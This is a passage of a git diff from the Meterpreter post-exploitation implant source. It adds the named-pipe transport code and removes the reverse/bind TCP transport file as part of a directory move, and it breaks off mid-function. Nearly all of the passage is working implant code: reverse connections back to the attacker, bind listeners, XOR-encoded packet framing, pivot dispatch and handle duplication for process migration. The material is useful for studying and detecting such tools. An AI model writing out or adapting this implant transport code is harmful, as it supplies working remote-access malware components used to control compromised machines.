(wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0) + { + ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts); + } + else + { + ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts); + } + } + else + { + dprintf("[NP] we might have had an invalid URL"); + result = ERROR_INVALID_PARAMETER; + } + } + + if (ctx->pipe == INVALID_HANDLE_VALUE) + { + dprintf("[SERVER] Something went wrong"); + return FALSE; + } + + dprintf("[SERVER] Looking good, FORWARD!"); + + // Do not allow the file descriptor to be inherited by child processes + SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0); + + transport->comms_last_packet = current_unix_timestamp(); + + return TRUE; +} + +/*! + * @brief Transmit a packet via named pipe. + * @param remote Pointer to the \c Remote instance. + * @param rawPacket Pointer to the raw packet bytes to send. + * @param rawPacketLength Length of the raw packet data. + * @return An indication of the result of processing the transmission request. + */ +DWORD packet_transmit_named_pipe(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) +{ + dprintf("[TRANSMIT PIPE] In packet_transmit_named_pipe"); + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; + DWORD totalWritten = 0; + DWORD written = 0; + DWORD result = ERROR_SUCCESS; + + lock_acquire(ctx->write_lock); + vdprintf("[TRANSMIT PIPE] Sending packet of %u bytes", rawPacketLength); + + while (totalWritten < rawPacketLength) + { + vdprintf("[TRANSMIT PIPE] Calling WriteFile"); + if (!WriteFile(ctx->pipe, rawPacket + totalWritten, rawPacketLength - totalWritten, &written, NULL)) + { + vdprintf("[TRANSMIT PIPE] WriteFile failed: %u (%x)", GetLastError(), GetLastError()); + result = GetLastError(); + break; + } + dprintf("[TRANSMIT PIPE] WriteFile succeeded, wrote %u bytes", written); + + totalWritten += written; + } + + if (result != ERROR_SUCCESS) + { + dprintf("[TRANSMIT PIPE] transmit packet failed with return %d at index %d", result, totalWritten); + } + else + { + vdprintf("[TRANSMIT PIPE] Packet sent!"); + } + + + lock_release(ctx->write_lock); + + return result; +} + +/*! + * @brief Get the socket from the transport. + * @param transport Pointer to the transport containing the socket. + * @param handle The current transport handle, if any. + */ +static UINT_PTR transport_get_handle_named_pipe(Transport* transport) +{ + if (transport != NULL) + { + return (UINT_PTR)((NamedPipeTransportContext*)transport->ctx)->pipe; + } + + return 0; +} + +/*! + * @brief Set the socket for the transport. + * @param transport Pointer to the transport containing the socket. + * @param handle The current transport socket FD, if any. + */ +static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handle) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) + { + ((NamedPipeTransportContext*)transport->ctx)->pipe = (HANDLE)handle; + } +} + +/*! + * @brief Create a configuration block from the given transport. + * @param transport Transport data to create the configuration from. + * @param config Pointer to the config block to write to. + */ +void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config) +{ + if (transport && config) + { + config->common.comms_timeout = transport->timeouts.comms; + config->common.retry_total = transport->timeouts.retry_total; + config->common.retry_wait = transport->timeouts.retry_wait; + wcsncpy(config->common.url, transport->url, URL_SIZE); + } +} + +/*! + * @brief Create a migration context that works for named pipe transports. + * @param transport Pointer to the transport in question. + * @param targetProcessId ID of the process we'll be migrating into. + * @param targetProcessHandle Handle of the process we'll be migrating into. + * @param contextSize Pointer to a buffer that receives the context size. + * @param contextBuffer Pointer to a buffer that receives the context data. + * @return Indication of success or failure. + */ +static DWORD get_migrate_context_named_pipe(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer) +{ + LPPIPEMIGRATECONTEXT ctx = (LPPIPEMIGRATECONTEXT)calloc(1, sizeof(PIPEMIGRATECONTEXT)); + + // Duplicate the handle for the pipe + dprintf("[NP-MIGRATE] pipe handle: %p", ((NamedPipeTransportContext*)transport->ctx)->pipe); + dprintf("[NP-MIGRATE] targetprocess handle: %p", targetProcessHandle); + if (!DuplicateHandle(GetCurrentProcess(), ((NamedPipeTransportContext*)transport->ctx)->pipe, targetProcessHandle, &ctx->h.pipe_handle, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + free(ctx); + return GetLastError(); + } + + *contextSize = sizeof(PIPEMIGRATECONTEXT); + *contextBuffer = (PBYTE)ctx; + return ERROR_SUCCESS; +} + +/*! + * @brief Gets the size of the memory space required to store the configuration for this transport. + * @param t Pointer to the transport. + * @return Size, in bytes of the required memory block. + */ +static DWORD transport_get_config_size_named_pipe(Transport* t) +{ + return sizeof(MetsrvTransportNamedPipe); +} + +/*! + * @brief Creates a new named pipe transport instance. + * @param config The Named Pipe configuration block. + * @param size Pointer to the size of the parsed config block. + * @return Pointer to the newly configured/created Named Pipe transport instance. + */ +Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) +{ + Transport* transport = (Transport*)calloc(1, sizeof(Transport)); + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); + + if (size) + { + *size = sizeof(MetsrvTransportNamedPipe); + } + + // Lock used to synchronise writes + ctx->write_lock = lock_create(); + + dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); + + transport->type = METERPRETER_TRANSPORT_PIPE; + transport->timeouts.comms = config->common.comms_timeout; + transport->timeouts.retry_total = config->common.retry_total; + transport->timeouts.retry_wait = config->common.retry_wait; + transport->url = _wcsdup(config->common.url); + transport->packet_transmit = packet_transmit_named_pipe; + transport->transport_init = configure_named_pipe_connection; + transport->transport_destroy = transport_destroy_named_pipe; + transport->transport_reset = transport_reset_named_pipe; + transport->server_dispatch = server_dispatch_named_pipe; + transport->get_handle = transport_get_handle_named_pipe; + transport->set_handle = transport_set_handle_named_pipe; + transport->ctx = ctx; + transport->comms_last_packet = current_unix_timestamp(); + transport->get_migrate_context = get_migrate_context_named_pipe; + transport->get_config_size = transport_get_config_size_named_pipe; + + return transport; +} diff --git a/c/meterpreter/source/server/win/server_transport_named_pipe.h b/c/meterpreter/source/metsrv/server_transport_named_pipe.h old mode 100755 new mode 100644 similarity index 62% rename from c/meterpreter/source/server/win/server_transport_named_pipe.h rename to c/meterpreter/source/metsrv/server_transport_named_pipe.h index 47338945..704a72a5 --- a/c/meterpreter/source/server/win/server_transport_named_pipe.h +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.h @@ -1,7 +1,7 @@ -#ifndef _METERPRETER_SERVER_SETUP_NAMED_PIPE -#define _METERPRETER_SERVER_SETUP_NAMED_PIPE - -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config); -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size); - +#ifndef _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE +#define _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE + +void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config); +Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size); + #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_tcp.c rename to c/meterpreter/source/metsrv/server_transport_tcp.c index c4e70251..337d99e0 --- a/c/meterpreter/source/server/win/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -1,912 +1,908 @@ -/*! - * @file server_transport_tcp.c - */ -#include "metsrv.h" -#include "../../common/common.h" -#include -#include "../../common/packet_encryption.h" -#include "../../common/pivot_packet_dispatch.h" - -// TCP-transport specific migration stub. -typedef struct _TCPMIGRATECONTEXT -{ - COMMONMIGRATECONTEXT common; - WSAPROTOCOL_INFOA info; -} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT; - -// These fields aren't defined unless the SDK version is set to something old enough. -// So we define them here instead of dancing with SDK versions, allowing us to move on -// and still support older versions of Windows. -#ifndef IPPROTO_IPV6 -#define IPPROTO_IPV6 41 -#endif -#ifndef in6addr_any -extern IN6_ADDR in6addr_any; -#endif - -/*! - * @brief Perform the reverse_tcp connect. - * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure. - * @param sockAddr The SOCKADDR structure which contains details of the connection. - * @param sockAddrSize The size of the \c sockAddr structure. - * @param retryTotal The number of seconds to continually retry for. - * @param retryWait The number of seconds between each connect attempt. - * @return Indication of success or failure. - */ -static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait) -{ - DWORD result = ERROR_SUCCESS; - int start = current_unix_timestamp(); - do - { - int retryStart = current_unix_timestamp(); - if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) - { - break; - } - - dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); - sleep(retryWait); - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); - - if (result == SOCKET_ERROR) - { - closesocket(reverseSocket); - } - - return result; -} - -/*! - * @brief Connects to a provided host/port (IPv4), downloads a payload and executes it. - * @param host String containing the name or IP of the host to connect to. - * @param port Port number to connect to. - * @param retryTotal The number of seconds to continually retry for. - * @param retryWait The number of seconds between each connect attempt. - * @return Indication of success or failure. - */ -static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) -{ - *socketBuffer = 0; - - // start by attempting to fire up Winsock. - WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { - return WSAGetLastError(); - } - - // prepare to connect to the attacker - SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - struct hostent* target = gethostbyname(host); - char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); - - SOCKADDR_IN sock = { 0 }; - sock.sin_addr.s_addr = inet_addr(targetIp); - sock.sin_family = AF_INET; - sock.sin_port = htons(port); - - DWORD result = reverse_tcp_run(socketHandle, (SOCKADDR*)&sock, sizeof(sock), retryTotal, retryWait); - - if (result == ERROR_SUCCESS) - { - *socketBuffer = socketHandle; - } - - return result; -} - -/*! - * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it. - * @param host String containing the name or IP of the host to connect to. - * @param service The target service/port. - * @param scopeId IPv6 scope ID. - * @param retryTotal The number of seconds to continually retry for. - * @param retryWait The number of seconds between each connect attempt. - * @return Indication of success or failure. - */ -static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) -{ - *socketBuffer = 0; - - // start by attempting to fire up Winsock. - WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { - return WSAGetLastError(); - } - - ADDRINFO hints = { 0 }; - hints.ai_family = AF_INET6; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - - LPADDRINFO addresses; - if (getaddrinfo(host, service, &hints, &addresses) != 0) - { - return WSAGetLastError(); - } - - // prepare to connect to the attacker - SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); - - if (socketHandle == INVALID_SOCKET) - { - dprintf("[STAGELESS IPV6] failed to connect to attacker"); - return WSAGetLastError(); - } - - DWORD result = ERROR_SUCCESS; - int start = current_unix_timestamp(); - do - { - int retryStart = current_unix_timestamp(); - for (LPADDRINFO address = addresses; address != NULL; address = address->ai_next) - { - ((LPSOCKADDR_IN6)address->ai_addr)->sin6_scope_id = scopeId; - - if ((result = connect(socketHandle, address->ai_addr, (int)address->ai_addrlen)) != SOCKET_ERROR) - { - dprintf("[STAGELESS IPV6] Socket successfully connected"); - *socketBuffer = socketHandle; - freeaddrinfo(addresses); - return ERROR_SUCCESS; - } - } - - dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); - sleep(retryWait); - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); - - closesocket(socketHandle); - freeaddrinfo(addresses); - - return result; -} - -/*! - * @brief Perform the bind_tcp process. - * @param listenSocket The existing listen socket that refers to the remote host connection, closed before returning. - * @param sockAddr The SOCKADDR structure which contains details of the connection. - * @param sockAddrSize The size of the \c sockAddr structure. - * @param acceptSocketBuffer Buffer that will receive the accepted socket handle on success. - * @return Indication of success or failure. - */ -static DWORD bind_tcp_run(SOCKET listenSocket, SOCKADDR* sockAddr, int sockAddrSize, SOCKET* acceptSocketBuffer) -{ - DWORD result = ERROR_SUCCESS; - do - { - if (bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) - { - result = WSAGetLastError(); - break; - } - - if (listen(listenSocket, 1) == SOCKET_ERROR) - { - result = WSAGetLastError(); - break; - } - - // Setup, ready to go, now wait for the connection. - SOCKET acceptSocket = accept(listenSocket, NULL, NULL); - - if (acceptSocket == INVALID_SOCKET) - { - result = WSAGetLastError(); - break; - } - - *acceptSocketBuffer = acceptSocket; - } while (0); - - closesocket(listenSocket); - - return result; -} - -/*! - * @brief Listens on a port for an incoming payload request. - * @param port Port number to listen on. - * @param socketBuffer Pointer to the variable that will recieve the socket file descriptor. - * @return Indication of success or failure. - */ -static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) -{ - *socketBuffer = 0; - - // start by attempting to fire up Winsock. - WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { - return WSAGetLastError(); - } - - // prepare a connection listener for the attacker to connect to, and we - // attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4 - // only if the process fails. - BOOL v4Fallback = FALSE; - SOCKET listenSocket = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); - - if (listenSocket == INVALID_SOCKET) - { - dprintf("[BIND] Unable to create IPv6 socket"); - v4Fallback = TRUE; - } - else - { - int no = 0; - if (setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) - { - // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to - // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common - // so instead, we'll just revert back to v4 and listen on that one address instead. - dprintf("[BIND] Unable to remove IPV6_ONLY option"); - closesocket(listenSocket); - v4Fallback = TRUE; - } - } - - if (v4Fallback) - { - dprintf("[BIND] Falling back to IPV4"); - listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - } - - struct sockaddr_in6 sockAddr = { 0 }; - - if (v4Fallback) - { - struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; - v4Addr->sin_addr.s_addr = htons(INADDR_ANY); - v4Addr->sin_family = AF_INET; - v4Addr->sin_port = htons(port); - } - else - { - sockAddr.sin6_addr = in6addr_any; - sockAddr.sin6_family = AF_INET6; - sockAddr.sin6_port = htons(port); - } - - return bind_tcp_run(listenSocket, (SOCKADDR*)&sockAddr, v4Fallback ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), socketBuffer); -} - -/*! - * @brief Poll a socket for data to recv and block when none available. - * @param remote Pointer to the remote instance. - * @param timeout Amount of time to wait before the poll times out (in milliseconds). - * @return Indication of success or failure. - */ -static LONG server_socket_poll(Remote* remote, long timeout) -{ - TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; - struct timeval tv; - LONG result; - fd_set fdread; - - lock_acquire(remote->lock); - - FD_ZERO(&fdread); - FD_SET(ctx->fd, &fdread); - - tv.tv_sec = 0; - tv.tv_usec = timeout; - - result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); - - lock_release(remote->lock); - - return result; -} - -/*! - * @brief Receive a new packet on the given remote endpoint. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_receive(Remote *remote, Packet **packet) -{ - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - Packet *localPacket = NULL; - PacketHeader header = { 0 }; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - ULONG payloadLength; - TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - dprintf("[TCP PACKET RECEIVE] reading in the header"); - // Read the packet length - while (inHeader) - { - if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) - { - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) - { - continue; - } - - inHeader = FALSE; - } - - if (headerBytes != sizeof(PacketHeader)) - { - dprintf("[TCP] we didn't get enough header bytes"); - goto out; - } - - dprintf("[TCP] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data - // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: - // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it - // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). - if (header.xor_key[3] == 0) - { - // looks like we have a metsrv instance, time to ignore it. - int length = *(int*)&header.xor_key[0]; - dprintf("[TCP] discovered a length header, assuming it's metsrv of length %d", length); - - int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); - char buffer[65535]; - - while (bytesToRead > 0) - { - int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0); - - if (bytesRead < 0) - { - if (GetLastError() == WSAEWOULDBLOCK) - { - continue; - } - SetLastError(ERROR_NOT_FOUND); - break; - } - - bytesToRead -= bytesRead; - } - - // did something go wrong. - if (bytesToRead > 0) - { - goto out; - } - - // indicate success, but don't return a packet for processing - SetLastError(ERROR_SUCCESS); - *packet = NULL; - } - else - { - vdprintf("[TCP] XOR key looks fine, moving on"); - PacketHeader encodedHeader; - memcpy(&encodedHeader, &header, sizeof(PacketHeader)); - // xor the header data - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - vdprintf("[TCP] Payload length is %d", payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - vdprintf("[TCP] total buffer size for the packet is %d", packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) - { - dprintf("[TCP] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; - } - dprintf("[TCP] Allocated packet buffer at %p", packetBuffer); - - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); - - LPBYTE payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - while (payloadBytesLeft > 0) - { - if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0) - { - - if (GetLastError() == WSAEWOULDBLOCK) - { - continue; - } - - if (bytesRead < 0) - { - SetLastError(ERROR_NOT_FOUND); - } - goto out; - } - - payloadBytesLeft -= bytesRead; - } - - // Didn't finish? - if (payloadBytesLeft) - { - dprintf("[TCP] Failed to get all the payload bytes"); - goto out; - } - -#ifdef DEBUGTRACE - h = (PUCHAR)&header.session_guid[0]; - dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) - { - dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); - } - else - { - dprintf("[TCP] Session GUIDs don't match, looking for a pivot"); - PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); - if (pivotCtx != NULL) - { - dprintf("[TCP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); - SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); - - // mark this packet buffer as NULL as the thread will clean it up - packetBuffer = NULL; - *packet = NULL; - } - else - { - dprintf("[TCP] Session GUIDs don't match, can't find pivot!"); - } - } - } - -out: - res = GetLastError(); - - dprintf("[TCP] Freeing stuff up"); - SAFE_FREE(packetBuffer); - - // Cleanup on failure - if (res != ERROR_SUCCESS) - { - SAFE_FREE(localPacket); - } - - lock_release(remote->lock); - dprintf("[TCP] Packet receive finished"); - - return res; -} - -/*! - * @brief The servers main dispatch loop for incoming requests using TCP - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main dispatch thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread) -{ - Transport* transport = remote->transport; - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet * packet = NULL; - THREAD * cpt = NULL; - - dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); - - int lastPacket = current_unix_timestamp(); - while (running) - { - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - result = server_socket_poll(remote, 50000); - if (result > 0) - { - result = packet_receive(remote, &packet); - if (result != ERROR_SUCCESS) - { - dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); - break; - } - - if (packet == NULL) - { - dprintf("[DISPATCH] No packet received, probably just metsrv being ignored or a pivot packet being handled."); - } - else - { - running = command_handle(remote, packet); - dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - } - - // packet received, reset the timer - lastPacket = current_unix_timestamp(); - } - else if (result == 0) - { - // check if the communication has timed out, or the session has expired, so we should terminate the session - int now = current_unix_timestamp(); - if (now > remote->sess_expiry_end) - { - result = ERROR_SUCCESS; - dprintf("[DISPATCH] session has ended"); - break; - } - else if ((now - lastPacket) > transport->timeouts.comms) - { - result = ERROR_NETWORK_NOT_AVAILABLE; - dprintf("[DISPATCH] communications has timed out"); - break; - } - } - else - { - dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); - break; - } - } - - dprintf("[DISPATCH] leaving server_dispatch."); - - return result; -} - -/*! - * @brief Get the socket from the transport (if it's TCP). - * @param transport Pointer to the TCP transport containing the socket. - * @return The current transport socket FD, if any, or zero. - */ -static UINT_PTR transport_get_handle_tcp(Transport* transport) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd; - } - - return 0; -} - -/*! - * @brief Set the socket from the transport (if it's TCP). - * @param transport Pointer to the TCP transport containing the socket. - * @param handle The current transport socket FD, if any. - */ -static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - ((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle; - } -} - -/*! - * @brief Destroy the TCP transport. - * @param transport Pointer to the TCP transport to destroy. - */ -static void transport_destroy_tcp(Transport* transport) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - dprintf("[TRANS TCP] Destroying tcp transport for url %S", transport->url); - SAFE_FREE(transport->url); - SAFE_FREE(transport->ctx); - SAFE_FREE(transport); - } -} - -/*! - * @brief Handle cleaning up on the client socket when MSF terminates the connection. - * @param thread Pointer to the thread instance. - * @return EXIT_SUCCESS - */ -DWORD THREADCALL cleanup_socket(THREAD* thread) -{ - char buf[4]; - int result; - SOCKET fd = (SOCKET)thread->parameter1; - - dprintf("[TCP] waiting for disconnect from remote"); - // loop until FD_CLOSE comes through. - while ((result = recv(fd, buf, sizeof(buf), 0)) != 0) - { - if (result <= 0) - { - break; - } - } - - dprintf("[TCP] disconnect received, cleaning up"); - closesocket(fd); - thread_destroy(thread); - - return EXIT_SUCCESS; -} - -/*! - * @brief Reset the given TCP connection. - * @param transport Pointer to the TCP transport to reset. - * @param shuttingDown Indication that the Metsrv instance is terminating completely. - */ -static void transport_reset_tcp(Transport* transport, BOOL shuttingDown) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; - dprintf("[TCP] Resetting transport from %u", ctx->fd); - if (ctx->fd) - { - if (shuttingDown) - { - dprintf("[TCP] Transport is shutting down"); - // we can terminate right here, given that we're closing up - closesocket(ctx->fd); - } - else - { - // Thanks to the fact that we know we can't rely on Windows to flush the socket nicely - // we can't just call "closesocket" on the socket. If we do, we could lose packets that - // cause MSF to be rather unhappy (and it hangs as a result of not getting a response). - // Instead of this, we create a new thread which monitors the socket handle. We know that - // MSF will terminate that connection when resetting, and so we wait for that termination - // before cleaning up the socket. This is done in another thread so that functionality - // can continue. - dprintf("[TCP] It should now be safe to close the socket."); - THREAD* t = thread_create(cleanup_socket, (LPVOID)ctx->fd, NULL, NULL); - thread_run(t); - } - } - ctx->fd = 0; - dprintf("[TCP] Transport 0x%p is now reset to %u", transport, ctx->fd); - } -} - -/*! - * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL configure_tcp_connection(Transport* transport) -{ - DWORD result = ERROR_SUCCESS; - size_t charsConverted; - char asciiUrl[512]; - TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; - - // check if comms is already open via a staged payload - if (ctx->fd) - { - dprintf("[TCP] Connection already running on %u", ctx->fd); - } - else - { - // From here, we need to establish comms a-la stageless. - wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), transport->url, sizeof(asciiUrl)-1); - - dprintf("[TCP CONFIGURE] Url: %S", transport->url); - - //transport->start_time = current_unix_timestamp(); - transport->comms_last_packet = current_unix_timestamp(); - - if (strncmp(asciiUrl, "tcp", 3) == 0) - { - char* pHost = strstr(asciiUrl, "//") + 2; - char* pPort = strrchr(pHost, ':') + 1; - - // check if we're using IPv6 - if (asciiUrl[3] == '6') - { - char* pScopeId = strrchr(pHost, '?') + 1; - *(pScopeId - 1) = '\0'; - *(pPort - 1) = '\0'; - dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); - result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, - transport->timeouts.retry_wait, &ctx->fd); - } - else - { - u_short usPort = (u_short)atoi(pPort); - - // if no host is specified, then we can assume that this is a bind payload, otherwise - // we'll assume that the payload is a reverse_tcp one and the given host is valid - if (*pHost == ':') - { - dprintf("[STAGELESS] IPv4 bind port %s", pPort); - result = bind_tcp(usPort, &ctx->fd); - } - else - { - *(pPort - 1) = '\0'; - dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); - result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, - transport->timeouts.retry_wait, &ctx->fd); - } - } - } - } - - if (result != ERROR_SUCCESS) - { - dprintf("[SERVER] Something went wrong %u", result); - return FALSE; - } - - dprintf("[SERVER] Looking good, FORWARD!"); - - // Do not allow the file descriptor to be inherited by child processes - SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0); - - transport->comms_last_packet = current_unix_timestamp(); - - return TRUE; -} - -/*! - * @brief Transmit a packet via TCP. - * @param remote Pointer to the \c Remote instance. - * @param rawPacket Pointer to the raw packet bytes to send. - * @param rawPacketLength Length of the raw packet data. - * @return An indication of the result of processing the transmission request. - */ -DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) -{ - TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; - DWORD result = ERROR_SUCCESS; - DWORD idx = 0; - - lock_acquire(remote->lock); - - while (idx < rawPacketLength) - { - result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0); - - if (result < 0) - { - dprintf("[PACKET] send failed: %d", result); - break; - } - - idx += result; - } - - result = GetLastError(); - - if (result != ERROR_SUCCESS) - { - 